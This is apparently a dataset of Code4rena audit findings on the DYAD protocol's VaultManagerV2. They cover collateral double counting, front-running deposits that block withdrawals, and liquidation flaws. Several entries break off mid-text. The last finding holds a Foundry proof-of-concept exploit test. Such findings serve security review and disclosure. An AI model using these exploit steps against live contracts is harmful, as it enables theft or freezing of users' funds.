xanoutas/solidity-security-findings huggingface dataset:
An incorrect check leads to overcalculation of exogenous collateral
Audit: 2024-04-dyad-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L250-L267


# Vulnerability details

## Summary

The function `getNonKeroseneValue()` should only calculate the USD value of exogenous collateral but an incorrect check means instead it calculates the USD value of all collateral, exogenous and endogenous

## Vulnerability Details

`getNonKeroseneValue()` should calculate the USD value of assets stored in non-kerosene vaults, i.e. exogenous collateral vaults, for a given `NFT id`.

However, the line marked below in `getKeroseneValue()` incorrectly checks if the vault has been licensed in `vaultLicenser` and if true adds it's usd value to the calculation but vaults licensed in `vaultLicenser` are both exogenous and endogenous.

This means the USD value of both endogenous and exogenous collateral associated to an `NFT id` will be calculated where only the value of the exdogenous collateral is what is required.

```solidity
    function getNonKeroseneValue(
      uint id
    )
      public
      view
      returns (uint) {
      // SOME CODE

>>>       if (vaultLicenser.isLicensed(address(vault))) {
            usdValue = vault.getUsdValue(id);
            console.log("usdValue Non Kero: ", usdValue);
          }

      // SOME CODE
    }
```

We can see in the deploy script `Deploy.V2.s.sol`, both exogenous and endogenous vaults will be licensed in `vaultLicenser` while only exogenous collateral vaults are licensed in `kerosineManager`.

```solidity
    // SOME CODE

    // @audit : exogenous collateral vaults contributing to TVL
    kerosineManager.add(address(ethVault));
    kerosineManager.add(address(wstEth));

    // SOME CODE

    // @audit : all collateral vaults where users can deposit
    vaultLicenser.add(address(ethVault));
    vaultLicenser.add(address(wstEth));
    vaultLicenser.add(address(unboundedKerosineVault));
    // vaultLicenser.add(address(boundedKerosineVault));

    // SOME CODE
```

## Impact

User's non kerosene vault's USD value will be inflated by including kerosene vaults and user's overall collateral ratio will be inflated by double counting kerosene vaults.
User's with kerosene deposited in a kerosene vault will be able to mint Dyad for less exogenous collateral than should be possible and therefore Dyad will be backed by less collateral than it should which can lead to it's depegging.

## Tools Used

Manual Review
Foundry Testing

## Recommendations

Update the check to only loop through the exogenous vaults licensed in `keroseneManager`:

```diff
    function getNonKeroseneValue(
      uint id
    )
      public
      view
      returns (uint) {
        uint totalUsdValue;
        uint numberOfVaults = vaults[id].length();
        for (uint i = 0; i < numberOfVaults; i++) {
          Vault vault = Vault(vaults[id].at(i));
          uint usdValue;
 -        if (vaultLicenser.isLicensed(address(vault))) {
 +        if (keroseneManager.is
Users can include kerosene vault as collateral vault to increase collateral value estimation
Audit: 2024-04-dyad-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/script/deploy/Deploy.V2.s.sol#L95


# Vulnerability details

## Impact
Users can receive more `dyad` than expected by including `unboundedKerosineVault` vault in the `vaults` mapping. It will increase the `getNonKeroseneValue` value by the `kerosene` token usd value. So users can receive `dyad` tokens in ratio even less than 1:1 rate in usd value and the `dyad` token can be undercollateralized.

## Proof of Concept
The `DeployV2` contract adds the `unboundedKerosineVault` vault to the `Licenser` contract.
```solidity
contract DeployV2 is Script, Parameters {
  function run() public returns (Contracts memory) {
//...
    vaultLicenser.add(address(unboundedKerosineVault));
```
https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/script/deploy/Deploy.V2.s.sol#L95
So users can add the `unboundedKerosineVault` vault as a collateral vault in the `vaults` mapping because the vault is licensed in the `Licenser` contract.
```solidity
  function add(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (vaults[id].length() >= MAX_VAULTS) revert TooManyVaults();
    if (!vaultLicenser.isLicensed(vault))  revert VaultNotLicensed();
    if (!vaults[id].add(vault))            revert VaultAlreadyAdded();
    emit Added(id, vault);
  }
```
https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L67-L78
The `mintDyad` function checks the usd value of collateral vaults which should not less than the `amount of DYAD to be minted` but it should not include `kerosene` tokens. In case the user has enough `kerosene` (usd value more than collateral usd value) the `dyad` token can be undercollateralized.
```solidity
  function mintDyad(
    uint    id,
    uint    amount,
    address to
  )
    external 
      isDNftOwner(id)
  {
    uint newDyadMinted = dyad.mintedDyad(address(this), id) + amount;
    if (getNonKeroseneValue(id) < newDyadMinted)     revert NotEnoughExoCollat();
    dyad.mint(id, to, amount);
    if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); 
    emit MintDyad(id, amount, to);
  }
```

## Tools Used
Manual review

## Recommended Mitigation Steps
Consider not adding `kerosene` vaults to the `Licenser` contract but only to the `KerosineManager` contract.
It also demands fixing `Kerosene vaults can break the protocol functionality` issue in the `UnboundedKerosineVault` contract.
```diff
    vaultLicenser.add(address(ethVault));
    vaultLicenser.add(address(wstEth));
-   vaultLicenser.add(address(unboundedKerosineVault));
-   // vaultLicenser.add(address(boundedKerosineVault));
```
The alternative recommendation is checking if the vault asset does not equal the `kerosine` token address in the `VaultManagerV2.add` function.


## Assessed type

Other
Users can add collateral vaults in `vaultsKerosene` mapping to double their total value
Audit: 2024-04-dyad-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/script/deploy/Deploy.V2.s.sol#L64-L65


# Vulnerability details

## Impact
Users can receive more `dyad` than expected by including collateral vaults (ethVault and wstEth) in both the `vaults` and the `vaultsKerosene` mappings. This lets receive `dyad` in 1:1 usd value ration. Also this can prevent the user from liquidation while the collateral usd value not less than 75% of the initial. So the `dyad` token can be undercollateralized.

## Proof of Concept
The `DeployV2` contract adds `ethVault` and `wstEth` vaults to the `KerosineManager` contract and to the `Licenser` contract.
```solidity
contract DeployV2 is Script, Parameters {
  function run() public returns (Contracts memory) {
//...
    KerosineManager kerosineManager = new KerosineManager();

    kerosineManager.add(address(ethVault));
    kerosineManager.add(address(wstEth));
//...
    vaultLicenser.add(address(ethVault));
    vaultLicenser.add(address(wstEth));
```
https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/script/deploy/Deploy.V2.s.sol#L62-L94
So users can add `ethVault` and `wstEth` vaults as collateral vault in the `vaults` mapping and as `kerosene` vault in the `vaultsKerosene` mapping because these vaults are licensed in both contracts.
```solidity
  function add(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (vaults[id].length() >= MAX_VAULTS) revert TooManyVaults();
    if (!vaultLicenser.isLicensed(vault))  revert VaultNotLicensed();
    if (!vaults[id].add(vault))            revert VaultAlreadyAdded();
    emit Added(id, vault);
  }

  function addKerosene(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults();
    if (!keroseneManager.isLicensed(vault))                 revert VaultNotLicensed();
    if (!vaultsKerosene[id].add(vault))                     revert VaultAlreadyAdded();
    emit Added(id, vault);
  }
```
https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L67-L91
The `mintDyad` function checks the usd value of collateral vaults and then the total usd value. The issue lets pass the second check without having any `kerosene` vaults because value from `ethVault` and `wstEth` vaults will be counted in the `getTotalUsdValue` function twice
```solidity
  function mintDyad(
    uint    id,
    uint    amount,
    address to
  )
    external 
      isDNftOwner(id)
  {
    uint newDyadMinted = dyad.mintedDyad(address(this), id) + amount;
    if (getNonKeroseneValue(id) < newDyadMinted)     revert NotEnoughExoCollat();
    dyad.mint(id, to, amount);
    if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); 
    emit MintDyad(id, amount, to);
  }

  function collatRatio(
    uint id
  )
    public
Front-running vulnerability prevents user from calling withdraw() function
Audit: 2024-04-dyad-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L119-L153


# Vulnerability details

## Summary

A user can be prevented from calling `withdraw()` and `redeemDyad()` by malicious user making a deposit of any amount on their behalf

## Vulnerability Details

When a deposit is made on behalf of an NFT id in `deposit()`, the current `block.number` is stored against that id in `idToBlockOfLastDeposit[id]`.

This stored value is then used in a check in `withdraw()`, see below, to prevent the depositing and withdrawing of collateral within the same block.

A malicious actor can use this check to block withdrawls of any collateral associated to an NFT id by front-running the transaction in the same block with a deposit of any amount on behalf of that id.

```solidity

    function deposit(
      uint    id,
      address vault,
      uint    amount
    )
      external
        isValidDNft(id)
    {
>>>   idToBlockOfLastDeposit[id] = block.number;

      // SOME CODE
    }

    function withdraw(
      uint    id,
      address vault,
      uint    amount,
      address to
    )
      public
        isDNftOwner(id)
    {
>>>   if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();

      // SOME CODE
    }

```

## POC

- Bob calls `withdraw()` on his NFT id `134`
- Alice sees Bob's transaction in the mempool
- Alice deposits 1 wei of wEth on behalf of NFT id `134` in the same block
- Bob's transaction reverts with `DepositedInSameBlock()` error

## Impact

Malicious user can DOS users indefinitely from calling `withdraw()` or `redeemDyad()` by consistently front running the transaction in the same block with a deposit on behalf of the victim's NFT id.
This affects the availability of core protocol functionality; costing the victim gas as well as locking their funds up.

## Tools Used

Manual Review
Foundry Testing

## Recommendations

Change the `deposit()` modifier from `isValidDNft(id)` to `isDNftOwner(id)` so that deposits can not be made on another user's behalf:

```diff

    function deposit(
      uint    id,
      address vault,
      uint    amount
    )
      external
 -      isValidDNft(id)
 +      isDNftOwner(id)
    {
      // SOME CODE
    }

```


## Assessed type

DoS
Liquidators don't receive `Kerosene` as rewards but should
Audit: 2024-04-dyad-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L205-L228


# Vulnerability details

## Impact
Liquidators are not rewarded with `Kerosene` tokens since only assets from `vaults` are moved to liquidators. So liquidators receive less than expected and can even have losses in case `getNonKeroseneValue(id) < dyad.mintedDyad(address(this), id))`.

## Proof of Concept
Users add collateral vaults to their dNFT (Note) via the `VaultManagerV2.add` function and `Kerosene` vaults via the `VaultManagerV2.addKerosene` function. The `Kerosene` vaults are added to `vaultsKerosene` mapping.
```solidity
  function add(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (vaults[id].length() >= MAX_VAULTS) revert TooManyVaults();
    if (!vaultLicenser.isLicensed(vault))  revert VaultNotLicensed();
    if (!vaults[id].add(vault))            revert VaultAlreadyAdded();
    emit Added(id, vault);
  }

  function addKerosene(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults();
    if (!keroseneManager.isLicensed(vault))                 revert VaultNotLicensed();
    if (!vaultsKerosene[id].add(vault))                     revert VaultAlreadyAdded();
    emit Added(id, vault);
  }
```
https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L67-L91
In case of liquidation only assets from vaults added to the `vaults` mapping are moved to the liquidator and all `Kerosene` tokens stay on the liquidated Note because only `vaults` mapping are included in the `liquidate` function as a source of assets.
```solidity
  function liquidate(
    uint id,
    uint to
  ) 
    external 
      isValidDNft(id)
      isValidDNft(to)
    {
      uint cr = collatRatio(id);
      if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh();
      dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id));

      uint cappedCr               = cr < 1e18 ? 1e18 : cr;
      uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD);
      uint liquidationAssetShare  = (liquidationEquityShare + 1e18).divWadDown(cappedCr);

      uint numberOfVaults = vaults[id].length();
      for (uint i = 0; i < numberOfVaults; i++) {
          Vault vault      = Vault(vaults[id].at(i));
          uint  collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare);
          vault.move(id, to, collateral);
      }
      emit Liquidate(id, msg.sender, to);
  }
```
In the protocol documentation is mentioned `The liquidating Note absorbs the liquidated Note’s DYAD balance and captures its collateral, including Kerosene` https://dyadstable.notion.site/DYAD-design-outline-v5-ed2d075eb691482d90cae262f822a2ff.

## Tools Used
Manual review

## Recommended Mitigation Steps
Consider adding the `vaultsKeros
Front-running Attack on Withdrawals
Audit: 2024-04-dyad-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L127
https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L143


# Vulnerability details

## Impact
<description>An attacker can block a user from withdrawing by front-running the withdraw transaction and depositing 0 amount to the NFT.</description>

## Proof of Concept
In `VaultManagerV2.sol:127`, the `deposit` function updates the `idToBlockOfLastDeposit` mapping with the current block number for the given NFT `id`. The `withdraw` function at line 143 checks if the `idToBlockOfLastDeposit` for the given `id` is equal to the current block number, and if so, it reverts the transaction with the "DepositedInSameBlock" error.

An attacker can exploit this by front-running the user's withdrawal transaction and calling the `deposit` function with a 0 amount for the same NFT `id`. Since there is no check for a minimum deposit this will update the `idToBlockOfLastDeposit` mapping to the current block number, causing the user's subsequent withdrawal transaction to revert due to the "DepositedInSameBlock" error.

## Tools Used
Manual Review

## Recommended Mitigation Steps
A simple solution for this would be to have a minimum deposit amount on `VaultManagerV2.deposit` function as it would be not profitable for an attacker to lose funds just to revert the user transaction and make them wait for one block.

## Issue Type
MEV


## Assessed type

MEV
Every time a user liquidates another user's `NOTE` they start a cycle where the last person to take on a liquidation loses
Audit: 2024-04-dyad-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L205-L228
https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/Dyad.sol#L38-L48


# Vulnerability details

## Impact
Any user who takes on another user's `NOTE` liquidation begins a cycle where another user needs to now liquidate them or forgo their asset which was rolled over from taking on the very first liquidation.

## Proof of Concept
```solidity
function liquidate(
    uint id,
    uint to
  ) 
    external 
      isValidDNft(id)
      isValidDNft(to)
    {
      uint cr = collatRatio(id);
      if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh();
      dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id));

      uint cappedCr               = cr < 1e18 ? 1e18 : cr;
      uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD);
      uint liquidationAssetShare  = (liquidationEquityShare + 1e18).divWadDown(cappedCr);

      uint numberOfVaults = vaults[id].length();
      for (uint i = 0; i < numberOfVaults; i++) {
          Vault vault      = Vault(vaults[id].at(i));
          uint  collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare);
          vault.move(id, to, collateral);
      }
      emit Liquidate(id, msg.sender, to);
  }
```
- Let's assume `wETH` price is USD 1000
- Suppose user A provided USD 1500 in `wETH`, then minted USD 1000 `DYAD`
- user B provided USD 3000 then minted USD 1000 `DYAD`
- Price of `wETH` dips to USD 800
- user A's position is undercollateralized, so user B decides to liquidate them (keep in mind a third party can & should be able to liquidate others as long as the CR is below 150%)
- user B's USD 1000 `DYAD` tokens are burnt (any DYAD minted against any `NOTE` can be used)
- user A's `mintedDyad` against his `NOTE` is now 0 because they are liquidated
- user B's `mintedDyad` against their own `NOTE` is still USD 1500 because, during the `DYAD` token burn, user A's internal accounting was erased while user B paid
- Technically, user B should be able to withdraw the rolled-over collateral and redeem from their USD 3000 deposit because now the vault holds USD 4500 in `wETH` but only `1000` DYAD in the `mintedDyad` overall
- But what essentially happens is that user B now needs to find a way to get specific `DYAD` matching his `NOTE` ID, and redeem them to reduce his internal accounting to 0 so he can get his asset back
- What essentially happens is that user B ends up minting `DYAD` again while supplying surplus collateral or finding some other user who will liquidate them and take on the burden of user B
- This then starts the cycle of leaving the last person to liquidate to keep holding the bag.
- user 2 can also decide to withdraw USD 3000 (1500 from his 3000 + 1500 from liquidation assuming he liquidated below 100% CR with no reward)
- USD 1500 would still be locked in the protocol which if another user takes on, they encounter the same issue user B encountere
The current Implementation allows adding exogenous vault as Kerosene Vault, allowing minting at rate of $1
Audit: 2024-04-dyad-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L17-L308


# Vulnerability details

## Impact
The current implementation of VaultManagerV2 allows minting 1 DYAD with the backing of only $1 

This breaks the most important invariant of the protocol:
*TVL > DYAD total supply*

## Proof of Concept
A user can add an exogenous vault as a kerosene vault, by calling addKerosene(id, address(exogenous_vault)), this results in double counting of user deposits for that exogenous_vault.

In the POC, we deposit 1 ETH when the price of ETH is $3000 and we can borrow 3000 DYAD and the collateral ratio remains 200% due to double counting.


forge test -f $ETH_RPC --mt test_Borrow_DYAD_AT_ONEx -vv
```
// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;


import "forge-std/Test.sol";
import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol";
import {Parameters} from "../../src/params/Parameters.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {DNft} from "src/core/DNft.sol";
import {IVaultManager} from "src/interfaces/IVaultManager.sol";
import {IDyad} from "src/interfaces/IDyad.sol";
import {Licenser} from "src/core/Licenser.sol";
contract Exploit is Test, Parameters {

  Contracts contracts;

  function setUp() public {
    contracts = new DeployV2().run();
    // Liscensing the new vault manager in the vault manager liscenser
    vm.prank(Licenser(MAINNET_VAULT_MANAGER_LICENSER).owner());
    Licenser(MAINNET_VAULT_MANAGER_LICENSER).add(address(contracts.vaultManager));
  }

  function test_Borrow_DYAD_AT_ONEx() external {
    address ALICE = makeAddr("ALICE");
    address LIQUIDATOR = makeAddr("LIQUIDATOR");
    uint256 amount = 1e18;

    DNft dNft = DNft(MAINNET_DNFT);
    uint id = dNft.mintNft{value: 10 ether}(ALICE);

    uint256 ethPrice = 3000 * 1e8;
    vm.mockCall(
        address(contracts.ethVault),
        abi.encodeWithSelector(contracts.ethVault.assetPrice.selector),
        abi.encode(ethPrice)
    );
    vm.mockCall(
        address(contracts.ethVault),
        abi.encodeWithSelector(contracts.ethVault.getUsdValue.selector),
        abi.encode(ethPrice * 1e10)
    );

    vm.startPrank(ALICE);
      uint256 borrowAmount = ethPrice*1e10; // 3000e18 
      deal(MAINNET_WETH, ALICE, amount);
      IERC20(MAINNET_WETH).approve(address(contracts.vaultManager), amount);
      contracts.vaultManager.addKerosene(id, address(contracts.ethVault));
      contracts.vaultManager.add(id, address(contracts.ethVault));
      contracts.vaultManager.deposit(id, address(contracts.ethVault), amount);
      contracts.vaultManager.mintDyad(id, borrowAmount, ALICE);
    vm.stopPrank();
    vm.mockCall(
        address(contracts.kerosineDenominator),
        abi.encodeWithSelector(contracts.kerosineDenominator.denominator.selector),
        abi.encode(3000e18)
    );

    console.log("Collateral deposited: %s", amount * ethPrice / 1e8);
    console.log("DYAD Borrowe